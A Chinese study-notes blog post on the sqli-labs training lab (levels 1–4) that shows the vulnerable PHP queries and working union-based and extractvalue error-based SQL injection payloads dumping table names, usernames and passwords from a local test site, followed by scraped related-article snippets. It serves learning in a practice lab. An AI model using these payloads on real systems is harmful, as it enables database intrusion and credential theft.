学习sqli-labs之前先介绍一些函数,以便于下面的payload看的懂

group_concat函数

将查询出来的多个结果连接成一个字符串结果,用于在一个回显显示多个结果

同理的还有

concat_ws()

limit star,size用法

start:从第几条记录开始。

size:读取几条记录。

sqli-lab-1


关键代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

是被单引号包围,即字符型注入,写payload要末尾注释单引号

用concat_ws()可以加分隔符,便于判断

接下来查询当前数据库的表~  //这里有个疑问,上面用的database()只能查询当前的数据库,如果Flag是在别的数据库呢,以后想想~

注意数据库的昵称要用单引号包围,不然会报错,当然也可以把数据库的昵称转换为16进制也是可以的

用limit查找所有的表名

显然太麻烦了,因为只返回一个结果 利用之前的group_concat()将结果放在一起返回

接下来爆字段

用concat_wa()发现没用,于是用group_concat()

接下来就是爆字段内容了

paload格式为: select 字段名 from 表名

如果过滤了union呢,或者是过滤了“-”符号呢 之前参加了南邮CTF的一道sql,过滤了* 还有-  即不能union 注入

接下来利用手工报错注入

介绍两个函数

extractvalue()

updatexml()

用法参考:

https://blog.csdn.net/qq_30464257/article/details/84501843
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23

爆值

http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(password,'||',username) from users)))  %23

看sqli-labs

关键代码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

  id没有被单引号包围,说明是数字型的注入,即不用和闭合单引号

less-3

关键代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-4

关键代码

$id = '"' . $id . '"';
//echo $id."\n";
//echo "<br>";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

id是被一对双引号包围的

发现加‘不报错

这是为什么呢? 因为php中的双引号可以包含单引号 ,加入双引号就会报错

http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+

sqli-labs学习(less-1-less-4)的更多相关文章

  1. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. eclipse安装lua

    单击Eclipse->Help->Install New Software… 在Work with中输入网址 Kepler - http://download.eclipse.org/re ...

  2. AIX常用命令学习(一)

    1.prtconf命令 查看AIX主机的结构特征状态 语法: prtconf [ -c ] [ -k ] [ -L ] [ -m ] [ -s ] [ -v ] Flags: -c  Displays ...

  3. 使用 Azure 门户创建 Linux 虚拟机

    可以通过 Azure 门户创建 Azure 虚拟机. 此方法提供一个基于浏览器的用户界面,用于创建和配置虚拟机和所有相关的资源. 本快速入门介绍了如何创建虚拟机并在 VM 上安装 webserver. ...

  4. C# 调用WebService服务

    方 法 一 :  选择项目,右键添加服务引用,输入服务地址,如图: 点击确定跳转到如下界面: 调用 接口: ServiceReference1.ImportDataServiceClient sr = ...

  5. [UI] 精美UI界面欣赏[6]

    精美UI界面欣赏[6]

  6. [翻译] SCRecorder

    SCRecorder https://github.com/rFlex/SCRecorder An easy Vine/Instagram like video and/or audio record ...

  7. Linux 系统的磁盘设备_【all】

    磁盘 ->RAID ->分区 ->格式化 ->挂载 基本的框架 a.硬盘的外部以及内部硬件结构,工作原理和读写原理b.RAID的划分(一块盘划分为一块或者多块的小虚拟磁盘,可以 ...

  8. C++ Boost在Windows和Linux下的编译安装

    再debian下直接apt-get install gcc g++就可以了.按照类似的逻辑,再Fedora下yum install gcc g++ 报告无法找到g++包. 差了一下,原来这个包的名字叫 ...

  9. python3 装饰器全解

    本章结构: 1.理解装饰器的前提准备 2.装饰器:无参/带参的被装饰函数,无参/带参的装饰函数 3.装饰器的缺点 4.python3的内置装饰器 5.本文参考 理解装饰器的前提:1.所有东西都是对象( ...

  10. 3、Django下载与简介

    第1节:MVC与MTV模型 1.1 MVC Web服务器开发领域里著名的MVC模式,所谓MVC就是把Web应用分为模型(M),控制器(C)和视图(V)三层,他们之间以一种插件式的.松耦合的方式连接在一 ...